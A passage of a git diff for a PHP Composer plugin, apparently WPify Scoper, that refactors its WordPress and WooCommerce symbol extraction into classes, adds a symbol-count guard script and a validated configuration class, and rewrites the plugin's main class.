whatever namespace the call sits in. + if ( $node instanceof Node\Expr\FuncCall && $node->name instanceof Node\Name ) { + $this->collectFromCall( $node ); + + return null; + } + + // Everything declared inside a namespace is already covered by exclude-namespaces. + if ( null !== $this->namespace ) { + return null; + } + + if ( + $node instanceof Node\Stmt\Class_ + || $node instanceof Node\Stmt\Interface_ + || $node instanceof Node\Stmt\Trait_ + || $node instanceof Node\Stmt\Enum_ + ) { + // Anonymous classes have no name. + if ( null !== $node->name ) { + $this->symbols['exclude-classes'][] = $node->name->name; + } + } elseif ( $node instanceof Node\Stmt\Function_ ) { + $this->symbols['exclude-functions'][] = $node->name->name; + } elseif ( $node instanceof Node\Stmt\Const_ ) { + // Top-level `const FOO = 1;`, as used by the sodium_compat polyfill. + foreach ( $node->consts as $const ) { + $this->symbols['exclude-constants'][] = $const->name->name; + } + } + + return null; + } + + public function leaveNode( Node $node ): ?int { + if ( $node instanceof Node\Stmt\Namespace_ ) { + $this->namespace = null; + } + + return null; + } + + private function collectFromCall( Node\Expr\FuncCall $node ): void { + if ( ! $node->name instanceof Node\Name ) { + return; + } + + $name = strtolower( $node->name->toString() ); + + if ( 'define' === $name ) { + $constant = $this->literalArgument( $node, 0 ); + + if ( null !== $constant ) { + $this->symbols['exclude-constants'][] = $constant; + } + } elseif ( 'class_alias' === $name ) { + // The alias, not the class it points at: the alias exists only at runtime and is + // declared nowhere, so nothing else in the tree would report it. + $alias = $this->literalArgument( $node, 1 ); + + if ( null !== $alias ) { + $this->symbols['exclude-classes'][] = $alias; + } + } + } + + private function literalArgument( Node\Expr\FuncCall $node, int $index ): ?string { + $argument = $node->args[ $index ] ?? null; + + if ( $argument instanceof Node\Arg && $argument->value instanceof Node\Scalar\String_ ) { + return $argument->value->value; + } + + return null; + } +} diff --git a/scripts/SymbolExtractor.php b/scripts/SymbolExtractor.php new file mode 100644 index 0000000..605df34 --- /dev/null +++ b/scripts/SymbolExtractor.php @@ -0,0 +1,232 @@ + + */ + public const CATEGORIES = array( + 'exclude-classes', + 'exclude-constants', + 'exclude-functions', + 'exclude-namespaces', + ); + + private ?Parser $parser = null; + + /** + * Parse failures of the last extract() call. + * + * A parse error used to be echoed and forgotten, which silently truncated the symbol list - + * and a truncated WordPress list means WordPress functions get scoped, the worst possible + * failure mode. The caller decides what to do with them. + * + * @var list + */ + private array $errors = array(); + + public function __construct( private readonly string $phpVersion = '8.1.0' ) { + } + + /** + * @return array> Sorted, de-duplicated, keyed by exclusion category. + */ + public function extract( string $directory, ?string $relativeTo = null ): array { + $this->errors = array(); + $symbols = array_fill_keys( self::CATEGORIES, array() ); + + foreach ( $this->files( $directory, $relativeTo ?? $directory ) as $file ) { + foreach ( $this->extractFile( $file ) as $category => $values ) { + $symbols[ $category ] = array_merge( $symbols[ $category ], $values ); + } + } + + // Sorted and reindexed so that the output does not depend on the order the filesystem + // happened to hand the files over. + foreach ( $symbols as $category => $values ) { + $values = array_values( array_unique( $values ) ); + sort( $values, SORT_STRING ); + + $symbols[ $category ] = $values; + } + + ksort( $symbols ); + + return $symbols; + } + + /** + * @return array> Raw, unsorted, possibly with duplicates. + */ + public function extractFile( string $file ): array { + $contents = @file_get_contents( $file ); + + if ( false === $contents ) { + $this->errors[] = sprintf( 'cannot read %s', $file ); + + return array_fill_keys( self::CATEGORIES, array() ); + } + + try { + $ast = $this->parser()->parse( $contents ); + } catch ( Error $error ) { + $this->errors[] = sprintf( 'parse error: %s in %s', $error->getMessage(), $file ); + + return array_fill_keys( self::CATEGORIES, array() ); + } + + if ( null === $ast ) { + $this->errors[] = sprintf( 'the parser produced no statements for %s', $file ); + + return array_fill_keys( self::CATEGORIES, array() ); + } + + $collector = new SymbolCollector(); + $traverser = new NodeTraverser(); + $traverser->addVisitor( $collector ); + $traverser->traverse( $ast ); + + return $collector->symbols; + } + + /** + * Every PHP file under $directory that could be loaded in a WordPress request. + * + * @return list + */ + public function files( string $directory, string $relativeTo ): array { + $files = array(); + $resolved = realpath( $directory ); + $base = realpath( $relativeTo ); + + if ( false === $resolved || false === $base ) { + return $files; + } + + $found = new RecursiveIteratorIterator( + new RecursiveDirectoryIterator( $resolved ), + RecursiveIteratorIterator::SELF_FIRST + ); + + foreach ( $found as $file ) { + if ( ! $file instanceof SplFileInfo ) { + continue; + } + + $realPath = $file->getRealPath(); + + if ( false === $realPath ) { + continue; + } + + $normalized = str_replace( $base . DIRECTORY_SEPARATOR, '', $realPath ); + + if ( 1 === preg_match( '#(^|/)(vendor|wp-content)/#i', $normalized ) ) { + continue; + } + + // Test suites are never loaded in a WordPress request, so their symbols would be pure + // over-exclusion. Matched case-sensitively: `Features` with a capital F is a real + // WooCommerce namespace, `features/` is wp-cli's Behat suite. + if ( 1 === preg_match( '#(^|/)(tests?|spec|features|\.github)/#', $normalized ) ) { + continue; + } + + if ( 1 === preg_match( '/\.php$/i', $realPath ) ) { + $files[] = $realPath; + } + } + + sort( $files, SORT_STRING ); + + return $files; + } + + /** + * Renders the symbol list as a PHP file. + * + * var_export() on the whole array writes explicit integer keys, so inserting a single symbol + * renumbers every line below it and a one-symbol change rewrites thousands of lines. A plain + * list keeps a regeneration diff to the symbols that actually moved. + * + * @param array> $symbols + */ + public function render( array $symbols, string $package, string $version, string $date ): string { + $lines = array( + ' $values ) { + $lines[] = "\t'" . $category . "' => array("; + + foreach ( $values as $value ) { + $lines[] = "\t\t" . var_export( $value, true ) . ','; + } + + $lines[] = "\t),"; + } + + $lines[] = ');'; + + return implode( "\n", $lines ) . "\n"; + } + + /** + * @param array> $symbols + */ + public static function count( array $symbols ): int { + $count = 0; + + foreach ( $symbols as $values ) { + $count += count( $values ); + } + + return $count; + } + + /** + * @return list + */ + public function errors(): array { + return $this->errors; + } + + private function parser(): Parser { + if ( null === $this->parser ) { + $this->parser = ( new ParserFactory() )->createForVersion( PhpVersion::fromString( $this->phpVersion ) ); + } + + return $this->parser; + } +} diff --git a/scripts/extract-symbols.php b/scripts/extract-symbols.php index 76d27fb..ba5ed7d 100644 --- a/scripts/extract-symbols.php +++ b/scripts/extract-symbols.php @@ -1,155 +1,58 @@ -name instanceof Node\Name - && strtolower( $node->name->toString() ) === 'define' - && isset( $node->args[0] ) - && $node->args[0] instanceof Node\Arg - && $node->args[0]->value instanceof Node\Scalar\String_ - ) { - $this->constants[] = $node->args[0]->value->value; - } - - return null; - } -} - -function get_parser() { - static $parser; - - if ( empty( $parser ) ) { - $parser = ( new ParserFactory() )->createForVersion( \PhpParser\PhpVersion::fromString("8.1.0") ); - } - - return $parser; -} - -function resolve( Node $node ) { - if ( $node instanceof Node\Stmt\Namespace_ ) { - $namespace = join( '\\', $node->name->getParts() ); - - return array( 'exclude-namespaces' => array( $namespace ) ); - } elseif ( $node instanceof Node\Stmt\Class_ ) { - return array( 'exclude-classes' => array( $node->name->name ) ); - } elseif ( $node instanceof Node\Stmt\Function_ ) { - return array( 'exclude-functions' => array( $node->name->name ) ); - } elseif ( $node instanceof Node\Stmt\If_ ) { - $symbols = array(); - foreach ( $node->stmts as $subnode ) { - foreach ( resolve( $subnode ) as $key => $result ) { - $symbols[ $key ] = array_merge( $symbols[ $key ] ?? array(), $result ); - } - } +use Composer\InstalledVersions; +use Wpify\Scoper\Tools\SymbolExtractor; - return $symbols; - } elseif ( $node instanceof Node\Stmt\Trait_ ) { - return array( 'exclude-classes' => array( $node->name->name ) ); - } elseif ( $node instanceof Node\Stmt\Interface_ ) { - return array( 'exclude-classes' => array( $node->name->name ) ); - } - - // Constants are handled by ConstantCollector, which walks the whole AST. - return array(); -} +require_once __DIR__ . '/../vendor/autoload.php'; -function get_files( string $folder, string $root ) { - $files = array(); - $folder = realpath( $folder ); +$root = dirname( __DIR__ ); +$extractor = new SymbolExtractor(); +$failed = false; - if ( file_exists( $folder ) ) { - $found = new RecursiveIteratorIterator( - new RecursiveDirectoryIterator( $folder ), - RecursiveIteratorIterator::SELF_FIRST - ); +/** + * Every tree to scan, as source directory => [output file, package the version is read from]. + * + * The second element of the value is the directory paths are made relative to before the + * vendor/, wp-content/ and test-suite filters are applied. + */ +$targets = array( + array( $root . '/sources/wordpress', $root . '/sources', 'wordpress.php', 'johnpbloch/wordpress' ), + array( $root . '/sources/plugin-woocommerce', $root . '/sources', 'woocommerce.php', 'wpackagist-plugin/woocommerce' ), + array( $root . '/sources/plugin-action-scheduler', $root . '/sources', 'action-scheduler.php', 'woocommerce/action-scheduler' ), + array( $root . '/vendor/wp-cli/wp-cli', $root . '/vendor', 'wp-cli.php', 'wp-cli/wp-cli' ), +); - foreach ( $found as $file ) { - $real_path = $file->getRealPath(); - $normalized_path = str_replace( realpath( __DIR__ . '/../' . $root ) . '/', '', $real_path ); +foreach ( $targets as list( $directory, $relativeTo, $file, $package ) ) { + $output = $root . '/symbols/' . $file; + $symbols = $extractor->extract( $directory, $relativeTo ); - if ( preg_match( "/\/vendor\//i", $normalized_path ) || preg_match( "/\/wp-content\//i", $normalized_path ) ) { - continue; - } + foreach ( $extractor->errors() as $error ) { + fwrite( STDERR, 'wpify-scoper: ' . $error . PHP_EOL ); - if ( preg_match( "/\.php$/i", $real_path ) ) { - $files[] = $real_path; - } - } + $failed = true; } - return $files; -} + $version = InstalledVersions::isInstalled( $package ) + ? ( InstalledVersions::getPrettyVersion( $package ) ?? 'unknown' ) + : 'not installed'; -function extract_symbols( string $where, string $root, string $result ) { - $files = get_files( $where, $root ); - $symbols = array(); + $rendered = $extractor->render( $symbols, $package, $version, date( 'Y-m-d' ) ); - foreach ( $files as $file ) { - try { - $ast = get_parser()->parse( file_get_contents( $file ) ); + if ( false === file_put_contents( $output, $rendered ) ) { + fwrite( STDERR, sprintf( 'wpify-scoper: cannot write %s' . PHP_EOL, $output ) ); - foreach ( $ast as $node ) { - $symbols = array_merge_recursive( $symbols, resolve( $node ) ); - } - - $collector = new ConstantCollector(); - $traverser = new NodeTraverser(); - $traverser->addVisitor( $collector ); - $traverser->traverse( $ast ); - - if ( ! empty( $collector->constants ) ) { - $symbols['exclude-constants'] = array_merge( - $symbols['exclude-constants'] ?? array(), - $collector->constants, - ); - } - } catch ( Error $error ) { - echo "Parse error: {$error->getMessage()} in {$file}\n"; - } + exit( 1 ); } - $count = 0; - - foreach ( $symbols as $exclusion => $values ) { - $symbols[ $exclusion ] = array_unique( $values ); - $count += count( $values ); - } - - $content = join( array( - ">> " . $count . " symbols exported to " . $result . "\n"; + printf( ">>> %d symbols exported to %s\n", SymbolExtractor::count( $symbols ), $output ); } -extract_symbols( __DIR__ . '/../sources/wordpress', 'sources', realpath( __DIR__ . '/../symbols' ) . '/wordpress.php' ); -extract_symbols( __DIR__ . '/../sources/plugin-woocommerce', 'sources', realpath( __DIR__ . '/../symbols' ) . '/woocommerce.php' ); -//extract_symbols( __DIR__ . '/../vendor/yahnis-elsts/plugin-update-checker', 'vendor', realpath( __DIR__ . '/../symbols' ) . '/plugin-update-checker.php' ); -extract_symbols( __DIR__ . '/../sources/plugin-action-scheduler', 'sources', realpath( __DIR__ . '/../symbols' ) . '/action-scheduler.php' ); -extract_symbols( __DIR__ . '/../vendor/wp-cli/wp-cli', 'vendor', realpath( __DIR__ . '/../symbols' ) . '/wp-cli.php' ); +// A parse failure silently truncates a symbol list, and a truncated WordPress list means WordPress +// functions get scoped - the worst failure mode this project has. Never exit 0 on one. +exit( $failed ? 1 : 0 ); diff --git a/scripts/postinstall.php b/scripts/postinstall.php deleted file mode 100644 index 2b33c11..0000000 --- a/scripts/postinstall.php +++ /dev/null @@ -1,67 +0,0 @@ -\s*([a-zA-Z0-9 .'\"\/\-_]+),/", - "'" . $prefix . "\\1' => \\2,", - $autoload_static -); -file_put_contents( $autoload_static_path, $autoload_static ); - -// fix scoper autoload - comment exposed classes and functions as we don't want to expose anything -$scoper_autoload_path = path( $destination, 'vendor', 'scoper-autoload.php' ); -$scoper_autoload = file_get_contents( $scoper_autoload_path ); -$scoper_autoload = preg_replace('/^humbug_phpscoper_expose_.*;$/m', '// $0 // commented by WPify Scoper', $scoper_autoload ); -$scoper_autoload = preg_replace('/^if \(!function_exists\(.*}$/m', '// $0 // commented by WPify Scoper', $scoper_autoload ); -file_put_contents( $scoper_autoload_path, $scoper_autoload ); - -// copy composer.lock - -remove( path( $cwd, $composer_lock ) ); -copy( path( $destination, 'composer.lock' ), path( $cwd, $composer_lock ) ); - -// copy deps folder - -remove( $deps ); -rename( path( $destination, 'vendor' ), $deps ); - -// remove temp folder - -remove( $temp ); diff --git a/scripts/symbol-guard.php b/scripts/symbol-guard.php new file mode 100644 index 0000000..aa6ca3a --- /dev/null +++ b/scripts/symbol-guard.php @@ -0,0 +1,118 @@ + [tolerance-percent]\n" ); + + exit( 2 ); +} + +/** + * @return array> file => category => count + */ +function wpify_scoper_symbol_counts( string $directory ): array { + $counts = array(); + $files = glob( $directory . '/*.php' ); + + if ( false === $files ) { + fwrite( STDERR, "symbol-guard: cannot list {$directory}\n" ); + + exit( 1 ); + } + + foreach ( $files as $path ) { + $symbols = require $path; + + if ( ! is_array( $symbols ) ) { + fwrite( STDERR, sprintf( "symbol-guard: %s does not return an array\n", $path ) ); + + exit( 1 ); + } + + $perCategory = array(); + + foreach ( $symbols as $category => $values ) { + $perCategory[ (string) $category ] = is_array( $values ) ? count( $values ) : 0; + } + + $counts[ basename( $path ) ] = $perCategory; + } + + ksort( $counts ); + + return $counts; +} + +$counts = wpify_scoper_symbol_counts( $symbolsIn ); + +if ( 'snapshot' === $mode ) { + file_put_contents( $file, (string) json_encode( $counts, JSON_PRETTY_PRINT ) ); + + printf( "symbol-guard: snapshot of %d lists written to %s\n", count( $counts ), $file ); + + exit( 0 ); +} + +$raw = @file_get_contents( $file ); +$before = false === $raw ? null : json_decode( $raw, true ); + +if ( ! is_array( $before ) ) { + fwrite( STDERR, sprintf( "symbol-guard: cannot read the snapshot %s\n", $file ) ); + + exit( 1 ); +} + +$failed = false; + +foreach ( $before as $list => $categories ) { + if ( ! is_array( $categories ) ) { + continue; + } + + foreach ( $categories as $category => $recorded ) { + $was = is_int( $recorded ) ? $recorded : 0; + $now = $counts[ (string) $list ][ (string) $category ] ?? 0; + $max = max( 1, (int) floor( $was * $tolerance / 100 ) ); + + printf( "%-24s %-20s %6d -> %-6d %+d\n", $list, $category, $was, $now, $now - $was ); + + if ( $was - $now > $max ) { + fwrite( STDERR, sprintf( + "symbol-guard: %s/%s lost %d symbols (tolerance %d). A truncated list scopes symbols that must stay global - check the extractor before merging.\n", + $list, + $category, + $was - $now, + $max + ) ); + + $failed = true; + } + } +} + +foreach ( array_keys( $counts ) as $list ) { + if ( ! isset( $before[ $list ] ) ) { + printf( "%-24s NEW LIST\n", $list ); + } +} + +exit( $failed ? 1 : 0 ); diff --git a/src/CommandProvider.php b/src/CommandProvider.php new file mode 100644 index 0000000..c40a289 --- /dev/null +++ b/src/CommandProvider.php @@ -0,0 +1,25 @@ + + */ + public function getCommands(): array { + return array( new ScoperCommand() ); + } +} diff --git a/src/ComposerRunner.php b/src/ComposerRunner.php new file mode 100644 index 0000000..ec1b9e9 --- /dev/null +++ b/src/ComposerRunner.php @@ -0,0 +1,39 @@ + $arguments Arguments after the binary, starting with the sub-command. + * @param string $workingDir Directory to run the process in. + * + * @return int The process exit code. + */ + public function composer( array $arguments, string $workingDir ): int; + + /** + * Runs a script or phar with the same PHP binary that is running Composer. + * + * @param list $arguments Arguments after the PHP binary, starting with the script. + * @param string $workingDir Directory to run the process in. + * + * @return int The process exit code. + */ + public function php( array $arguments, string $workingDir ): int; + + /** + * Standard error of the last process. + * + * Empty when the process ran attached to a TTY, in which case the user has already seen it. + */ + public function getErrorOutput(): string; +} diff --git a/src/Configuration.php b/src/Configuration.php new file mode 100644 index 0000000..502261b --- /dev/null +++ b/src/Configuration.php @@ -0,0 +1,187 @@ + + */ + public const DEFAULT_GLOBALS = array( 'wordpress', 'woocommerce', 'action-scheduler', 'wp-cli' ); + + /** + * @param list $globals + */ + private function __construct( + public readonly string $rootDir, + public readonly string $vendorDir, + public readonly string $prefix, + public readonly string $folder, + public readonly array $globals, + public readonly string $composerJson, + public readonly string $composerLock, + public readonly string $tempDir, + public readonly bool $autorun, + ) { + } + + /** + * True when the project actually configures this plugin. + * + * The plugin is usually installed globally, so it is activated for every Composer project on + * the machine - including COMPOSER_HOME itself and the nested install. Projects that do not + * configure it must stay a completely silent no-op. + * + * @param array $extra The root package's `extra` block. + */ + public static function isConfigured( array $extra ): bool { + return isset( $extra['wpify-scoper'] ) && is_array( $extra['wpify-scoper'] ); + } + + /** + * @return self|null Null when the root package does not configure the plugin. + */ + public static function fromComposer( Composer $composer ): ?self { + $extra = $composer->getPackage()->getExtra(); + + if ( ! self::isConfigured( $extra ) ) { + return null; + } + + $rootDir = self::resolveRootDir( $composer ); + $vendorDir = $composer->getConfig()->get( 'vendor-dir' ); + + // An empty vendor-dir falls back to $rootDir/vendor in fromExtra(). + return self::fromExtra( $extra, $rootDir, is_string( $vendorDir ) ? $vendorDir : '' ); + } + + /** + * @param array $extra The root package's `extra` block. + * @param string $rootDir Absolute path to the directory holding the root composer.json. + * @param string $vendorDir Absolute path to the project's vendor directory. + * + * @throws RuntimeException When the configuration is present but invalid. + */ + public static function fromExtra( array $extra, string $rootDir, string $vendorDir ): self { + $filesystem = new Filesystem(); + $rootDir = $filesystem->normalizePath( $rootDir ); + $settings = $extra['wpify-scoper'] ?? null; + + if ( ! is_array( $settings ) ) { + $settings = array(); + } + + $folder = self::resolve( $filesystem, $rootDir, self::stringOrNull( $settings['folder'] ?? null ) ?? 'deps' ); + + $composerJson = self::stringOrNull( $settings['composerjson'] ?? null ) ?? 'composer-deps.json'; + $composerLock = self::stringOrNull( $settings['composerlock'] ?? null ) + ?? preg_replace( '/\.json$/', '.lock', $composerJson ); + + $temp = self::stringOrNull( $settings['temp'] ?? null ) ?? 'tmp-' . bin2hex( random_bytes( 5 ) ); + + $globals = self::DEFAULT_GLOBALS; + + // A `globals` that is absent, empty or not a list falls back to the defaults, exactly as + // the `! empty()` this replaces did: an empty list has never meant "scope everything". + if ( isset( $settings['globals'] ) && is_array( $settings['globals'] ) && array() !== $settings['globals'] ) { + $globals = array_values( array_map( self::stringOf( ... ), $settings['globals'] ) ); + } + + return new self( + rootDir: $rootDir, + vendorDir: $filesystem->normalizePath( '' === $vendorDir ? $rootDir . '/vendor' : $vendorDir ), + prefix: self::validatePrefix( $settings['prefix'] ?? null, $rootDir ), + folder: $folder, + globals: $globals, + composerJson: self::resolve( $filesystem, $rootDir, $composerJson ), + composerLock: self::resolve( $filesystem, $rootDir, (string) $composerLock ), + tempDir: self::resolve( $filesystem, $rootDir, $temp ), + // Preserved verbatim from the previous implementation: only a literal `false` opts out. + autorun: ! ( array_key_exists( 'autorun', $settings ) && false === $settings['autorun'] ), + ); + } + + public function sourceDir(): string { + return $this->tempDir . '/source'; + } + + public function destinationDir(): string { + return $this->tempDir . '/destination'; + } + + /** + * Absolute path of the directory holding the root composer.json. + * + * `getConfigSource()->getName()` is the path Composer itself resolved, so this stays correct + * under `--working-dir`, under `COMPOSER=/somewhere/else.json` and for `composer global`. + */ + private static function resolveRootDir( Composer $composer ): string { + $configFile = $composer->getConfig()->getConfigSource()->getName(); + $directory = realpath( dirname( $configFile ) ); + + return false !== $directory ? $directory : Platform::getCwd(); + } + + /** + * Validates the configured prefix. + * + * Only ever called when extra.wpify-scoper is present, so a missing or malformed prefix is a + * configuration error rather than an opt-out. + */ + private static function validatePrefix( mixed $prefix, string $rootDir ): string { + $composerJson = $rootDir . '/composer.json'; + + if ( ! is_string( $prefix ) || '' === $prefix ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: extra.wpify-scoper.prefix is missing in %s. Set it to a valid PHP namespace, for example "MyPlugin\\\\Deps".', + $composerJson + ) ); + } + + if ( 1 !== preg_match( self::PREFIX_PATTERN, $prefix ) ) { + throw new RuntimeException( sprintf( + 'wpify-scoper: extra.wpify-scoper.prefix "%s" in %s is not a valid PHP namespace. Expected identifiers separated by backslashes, for example "MyPlugin\\\\Deps".', + $prefix, + $composerJson + ) ); + } + + return $prefix; + } + + private static function resolve( Filesystem $filesystem, string $rootDir, string $path ): string { + return $filesystem->normalizePath( + $filesystem->isAbsolutePath( $path ) ? $path : $rootDir . '/' . $path + ); + } + + private static function stringOrNull( mixed $value ): ?string { + return is_string( $value ) && '' !== $value ? $value : null; + } + + /** + * Coerces one `globals` entry to a string. + * + * Anything that is not a scalar cannot name a symbol list, so it becomes the empty string and + * gets the "unknown globals entry" warning from {@see ScoperConfigFactory} like any other typo. + */ + private static function stringOf( mixed $value ): string { + return is_scalar( $value ) ? (string) $value : ''; + } +} diff --git a/src/Plugin.php b/src/Plugin.php index 36f281e..61f7b2d 100644 --- a/src/Plugin.php +++ b/src/Plugin.php @@ -1,306 +1,120 @@ - + */ + public static function getSubscribedEvents(): array { return array( ScriptEvents::POST_INSTALL_CMD => 'execute', ScriptEvents::POST_UPDATE_CMD => 'execute', ); } - public function activate( Composer $composer, IOInterface $io ) { - $this->composer = $composer; - $this->io = $io; - $extra = $composer->getPackage()->getExtra(); - $prefix = null; - $configValues = array( - 'folder' => $this->path( getcwd(), 'deps' ), - 'temp' => $this->path( getcwd(), 'tmp-' . substr( str_shuffle( md5( microtime() ) ), 0, 10 ) ), - 'prefix' => $prefix, - 'globals' => array( 'wordpress', 'woocommerce', 'action-scheduler', 'wp-cli' ), - 'composerjson' => 'composer-deps.json', - 'composerlock' => 'composer-deps.lock', + /** + * @return array + */ + public function getCapabilities(): array { + return array( + ComposerCommandProvider::class => CommandProvider::class, ); + } - if ( ! empty( $extra['wpify-scoper']['folder'] ) ) { - $configValues['folder'] = $this->path( getcwd(), $extra['wpify-scoper']['folder'] ); - } - - if ( ! empty( $extra['wpify-scoper']['composerjson'] ) ) { - $configValues['composerjson'] = $extra['wpify-scoper']['composerjson']; - $configValues['composerlock'] = preg_replace( '/\.json$/', '.lock', $extra['wpify-scoper']['composerjson'] ); - } - - if ( ! empty( $extra['wpify-scoper']['composerlock'] ) ) { - $configValues['composerlock'] = $extra['wpify-scoper']['composerlock']; - } - - if ( ! empty( $extra['wpify-scoper']['prefix'] ) ) { - $configValues['prefix'] = $extra['wpify-scoper']['prefix']; - } - - if ( ! empty( $extra['wpify-scoper']['globals'] ) && is_array( $extra['wpify-scoper']['globals'] ) ) { - $configValues['globals'] = $extra['wpify-scoper']['globals']; - } + public function activate( Composer $composer, IOInterface $io ): void { + $this->composer = $composer; + $this->io = $io; + $this->configuration = Configuration::fromComposer( $composer ); - if ( ! empty( $extra['wpify-scoper']['temp'] ) ) { - $configValues['temp'] = $this->path( getcwd(), $extra['wpify-scoper']['temp'] ); + if ( null === $this->configuration || ! $io->isVerbose() ) { + return; } - $this->folder = $configValues['folder']; - $this->prefix = $configValues['prefix']; - $this->globals = $configValues['globals']; - $this->tempDir = $configValues['temp']; - $this->composerjson = $configValues['composerjson']; - $this->composerlock = $configValues['composerlock']; + $io->write( sprintf( + 'wpify-scoper: prefix "%s", folder "%s", %s / %s, temp "%s"', + $this->configuration->prefix, + $this->configuration->folder, + $this->configuration->composerJson, + $this->configuration->composerLock, + $this->configuration->tempDir + ) ); } - public function deactivate( Composer $composer, IOInterface $io ) { + public function deactivate( Composer $composer, IOInterface $io ): void { } - public function uninstall( Composer $composer, IOInterface $io ) { + public function uninstall( Composer $composer, IOInterface $io ): void { } - public function getCapabilities() { - return array( - CommandProvider::class => self::class, - ); - } - - public function path( ...$parts ) { - $path = join( DIRECTORY_SEPARATOR, $parts ); + /** + * Joins path segments. + * + * @deprecated Retained only because it has always been public. + */ + public function path( string ...$parts ): string { + $path = implode( DIRECTORY_SEPARATOR, $parts ); return str_replace( DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $path ); } - public function execute( Event $event ) { - $extra = $event->getComposer()->getPackage()->getExtra(); - - if ( - isset( $extra['wpify-scoper']['autorun'] ) && - $extra['wpify-scoper']['autorun'] === false && - ( $event->getName() === ScriptEvents::POST_UPDATE_CMD || $event->getName() === ScriptEvents::POST_INSTALL_CMD ) - ) { + public function execute( Event $event ): void { + if ( null === $this->configuration || null === $this->io ) { return; } - if ( ! empty( $this->prefix ) ) { - $source = $this->path( $this->tempDir, 'source' ); - $destination = $this->path( $this->tempDir, 'destination' ); - $scoperConfig = $this->createScoperConfig( $this->tempDir, $source, $destination ); - $composerJsonPath = $this->path( $source, 'composer.json' ); - $composerLockPath = $this->path( $source, 'composer.lock' ); - - if ( file_exists( $this->path( getcwd(), $this->composerjson ) ) ) { - $composerJson = json_decode( file_get_contents( $this->path( getcwd(), $this->composerjson ) ), false ); - } else { - $composerJson = (object) array( - 'require' => (object) array(), - 'scripts' => (object) array(), - ); - $this->createJson( $this->path( getcwd(), $this->composerjson ), $composerJson ); - } - - if ( empty( $composerJson->scripts ) ) { - $composerJson->scripts = (object) array(); - } - - $postinstall = file_get_contents( __DIR__ . '/../scripts/postinstall.php' ); - $postinstall = str_replace( '%%source%%', $source, $postinstall ); - $postinstall = str_replace( '%%destination%%', $destination, $postinstall ); - $postinstall = str_replace( '%%cwd%%', getcwd(), $postinstall ); - $postinstall = str_replace( '%%composer_lock%%', $this->composerlock, $postinstall ); - $postinstall = str_replace( '%%deps%%', $this->folder, $postinstall ); - $postinstall = str_replace( '%%temp%%', $this->tempDir, $postinstall ); - $postinstall = str_replace( '%%prefix%%', $this->prefix, $postinstall ); - $postinstallPath = $this->path( $this->tempDir, 'postinstall.php' ); - file_put_contents( $postinstallPath, $postinstall ); - - $scriptName = $event->getName(); - if ( $event->getName() === self::SCOPER_UPDATE_CMD || $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD ) { - $scriptName = ScriptEvents::POST_UPDATE_CMD; - } - if ( $event->getName() === self::SCOPER_INSTALL_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { - $scriptName = ScriptEvents::POST_INSTALL_CMD; - } - - $phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); - - $composerJson->scripts->{$scriptName} = array( - $phpscoper . ' add-prefix --output-dir="' . $destination . '" --force --config="' . $scoperConfig . '"', - 'composer dump-autoload --working-dir="' . $destination . '" --optimize', - 'php "' . $postinstallPath . '"', - ); - - $this->createJson( $composerJsonPath, $composerJson ); - - if ( file_exists( $this->path( getcwd(), $this->composerlock ) ) ) { - copy( $this->path( getcwd(), $this->composerlock ), $composerLockPath ); - } - - $command = 'install'; - - if ( - $event->getName() === ScriptEvents::POST_UPDATE_CMD || - $event->getName() === self::SCOPER_UPDATE_CMD || - $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD - ) { - $command = 'update'; - } - - $useDevDependencies = true; - - if ( $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { - $useDevDependencies = false; - } - - $this->runInstall( $source, $command, $useDevDependencies ); - } - } - - private function createScoperConfig( string $path, string $source, string $destination ) { - $inc_path = $this->createPath( array( 'config', 'scoper.inc.php' ) ); - $config_path = $this->createPath( array( 'config', 'scoper.config.php' ) ); - $custom_path = $this->createPath( array( 'scoper.custom.php' ), true ); - $final_path = $this->path( $path, 'scoper.inc.php' ); - $symbols_dir = $this->createPath( [ 'symbols' ] ); - - $this->createFolder( $path ); - $this->createFolder( $source ); - $this->createFolder( $destination ); - - $config = require_once $config_path; - - if ( ! is_array( $config ) ) { - exit; - } - - $config['prefix'] = $this->prefix; - $config['source'] = $source; - $config['destination'] = $destination; - $config['exclude-constants'] = array( 'NULL', 'TRUE', 'FALSE' ); - - if ( in_array( 'action-scheduler', $this->globals ) ) { - $config = array_merge_recursive( - $config, - require $this->path( $symbols_dir, 'action-scheduler.php' ), - ); - } - - if ( in_array( 'plugin-update-checker', $this->globals ) ) { - $config = array_merge_recursive( - $config, - require $this->path( $symbols_dir, 'plugin-update-checker.php' ), - ); - } - - if ( in_array( 'woocommerce', $this->globals ) ) { - $config = array_merge_recursive( - $config, - require $this->path( $symbols_dir, 'woocommerce.php' ), - ); - } - - if ( in_array( 'wordpress', $this->globals ) ) { - $config = array_merge_recursive( - $config, - require $this->path( $symbols_dir, 'wordpress.php' ), - ); - } - - if ( in_array( 'wp-cli', $this->globals ) ) { - $config = array_merge_recursive( - $config, - require $this->path( $symbols_dir, 'wp-cli.php' ), - ); - } - - if ( file_exists( $custom_path ) ) { - copy( $custom_path, $this->path( $path, 'scoper.custom.php' ) ); - } - - copy( $inc_path, $this->path( $path, 'scoper.inc.php' ) ); - file_put_contents( $this->path( $path, 'scoper.config.php' ), 'getName(); - return $final_path; - } - - private function createPath( array $parts, bool $in_root = false ) { - $vendor = strpos( dirname( __DIR__ ), 'vendor' . DIRECTORY_SEPARATOR . 'wpify' . DIRECTORY_SEPARATOR . 'scoper' ); - - if ( ! $in_root || ! is_int( $vendor ) ) { - return dirname( __DIR__ ) . DIRECTORY_SEPARATOR . join( DIRECTORY_SEPARATOR, $parts ); - } + $isScriptEvent = ScriptEvents::POST_INSTALL_CMD === $name || ScriptEvents::POST_UPDATE_CMD === $name; - return getcwd() . DIRECTORY_SEPARATOR . join( DIRECTORY_SEPARATOR, $parts ); - } - - private function createFolder( string $path ) { - if ( ! file_exists( $path ) ) { - mkdir( $path, 0755, true ); + if ( $isScriptEvent && ! $this->configuration->autorun ) { + return; } - } - private function createJson( string $path, $content ) { - $this->createFolder( dirname( $path ) ); - $json = json_encode( $content, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); - file_put_contents( $path, $json ); - } - - private function runInstall( string $path, string $command = 'install', bool $useDevDependencies = true 